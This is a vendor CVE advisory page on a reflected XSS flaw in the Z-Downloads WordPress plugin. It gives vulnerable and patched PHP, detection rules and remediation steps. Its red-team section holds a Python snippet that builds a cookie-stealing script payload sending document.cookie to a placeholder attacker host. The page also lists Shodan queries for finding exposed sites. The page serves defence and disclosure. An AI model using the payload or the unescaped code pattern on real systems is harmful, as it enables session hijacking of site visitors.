☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
SOON CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-8703

CVE-2024-8703 Cross-Site Scripting in Z-downloads
📅 PUBLISHED: 2025-05-15 20:07 UTC 🔄 UPDATED: 2026-08-13 10:06 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.22%
👁️
0.22% probability
5.6× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 0.0
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: R User Interaction Required
S: U Scope Unchanged
C: L Confidentiality Low
I: L Integrity Low
A: N Availability None
SOON
PENDING NVD
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-8703 is a reflected Cross-Site Scripting (XSS) vulnerability in the Z-Downloads WordPress plugin, affecting versions prior to 1.11.6. The plugin fails to properly sanitize and escape certain parameters when outputting them on share URLs, allowing unauthenticated visitors to inject arbitrary JavaScript. This can lead to session hijacking, credential theft, or defacement. The vulnerability is classified as a WordPress ecosystem issue, not related to Apache or Nginx.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects the WordPress plugin ecosystem. The Z-Downloads plugin is distributed via the official WordPress plugin repository. Users should verify they are running version 1.11.6 or later. No known supply chain compromise has been reported.

CVSS Breakdown & Threat Level

  • CVSS Score: 5.4 (Medium)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: None
  • User Interaction: Required (victim must click a crafted link)
  • Scope: Unchanged
  • Confidentiality Impact: Low
  • Integrity Impact: Low
  • Availability Impact: None

The threat level is medium due to the requirement for user interaction, but the attack surface is broad as it targets unauthenticated visitors.

Deep Dive & Mechanics

The vulnerability resides in the share URL functionality of the Z-Downloads plugin. When generating share links, the plugin outputs user-supplied parameters (e.g., file names or descriptions) without proper sanitization or escaping. An attacker can craft a malicious URL containing JavaScript payloads in these parameters. When a victim clicks the link, the payload executes in the context of the WordPress site, allowing the attacker to steal cookies, redirect users, or perform actions on behalf of the victim.

The root cause is the use of echo or print statements with unsanitized $_GET or $_POST data directly into HTML output, without applying WordPress's built-in escaping functions like esc_html() or esc_attr().

Vulnerable vs. Patched Code

Vulnerable Code (version < 1.11.6):

<?php
// In share URL generation
$file_name = $_GET['file'];
echo "<a href='share.php?file=$file_name'>Share</a>";
?>

Patched Code (version 1.11.6):

<?php
// In share URL generation
$file_name = sanitize_text_field($_GET['file']);
echo "<a href='share.php?file=" . esc_attr($file_name) . "'>Share</a>";
?>

The patched version uses sanitize_text_field() to strip malicious input and esc_attr() to safely output the value in an HTML attribute context.

Exploitation & Lab Setup

Red Team

  1. Setup: Install WordPress with Z-Downloads plugin version 1.11.5 on a local server.
  2. Craft Payload: Create a URL with a malicious parameter:
    http://target/wp-content/plugins/z-downloads/share.php?file=<script>alert('XSS')</script>
    
  3. Deliver: Send the link to a victim via email or social engineering.
  4. Execute: When the victim clicks, the script executes in their browser.

Example Exploit (Python):

import requests

target = "http://target/wp-content/plugins/z-downloads/share.php"
payload = "<script>document.location='http://attacker/steal.php?c='+document.cookie</script>"
url = f"{target}?file={payload}"
print(f"Send this link to victim: {url}")

Blue Team

  1. Detection: Monitor web logs for requests to /wp-content/plugins/z-downloads/share.php with suspicious parameters containing <script> or onerror tags.
  2. Prevention: Implement a Web Application Firewall (WAF) rule to block XSS patterns in query strings.
  3. Response: If exploitation is detected, isolate the affected user session and rotate credentials.

Indicators of Compromise (IOCs)

  • URL Pattern: share.php?file=<script>...
  • Log Entry: GET /wp-content/plugins/z-downloads/share.php?file=%3Cscript%3E...
  • Network Traffic: Outbound connections to attacker-controlled domains from the victim's browser.
  • File Changes: Unauthorized modifications to WordPress pages or posts.

Detection Engineering

YARA Rule

rule CVE_2024_8703_XSS {
    meta:
        description = "Detects XSS attempts against Z-Downloads plugin"
        author = "Valters IT"
        date = "2025-04-10"
    strings:
        $xss_payload = /share\.php\?file=.*<script/i
    condition:
        $xss_payload
}

Sigma Rule

title: CVE-2024-8703 XSS Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects XSS attempts against Z-Downloads plugin
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: '/wp-content/plugins/z-downloads/share.php?file='
        cs-uri-query|re: '(<script|onerror|onload)'
    condition: selection
falsepositives:
    - Legitimate use of file names with similar patterns
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-8703 XSS Attempt"; flow:to_server; content:"/wp-content/plugins/z-downloads/share.php"; http_uri; pcre:"/file=.*<script/i"; sid:1000001; rev:1;)

Remediation & Mitigation

  1. Immediate: Upgrade the Z-Downloads plugin to version 1.11.6 or later.
  2. Workaround: If upgrade is not possible, disable the share URL feature by removing or renaming share.php.
  3. Long-term: Implement a Web Application Firewall (WAF) with XSS protection rules.
  4. Monitoring: Enable logging for all plugin-related requests and review regularly.
  5. User Education: Train users not to click suspicious links.

Valters IT Signature
This report is generated by Valters IT Cyber Threat Intelligence. For questions, contact threatintel@valtersit.com.

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"Z-Downloads"
http.html:"z-downloads"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-8703/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.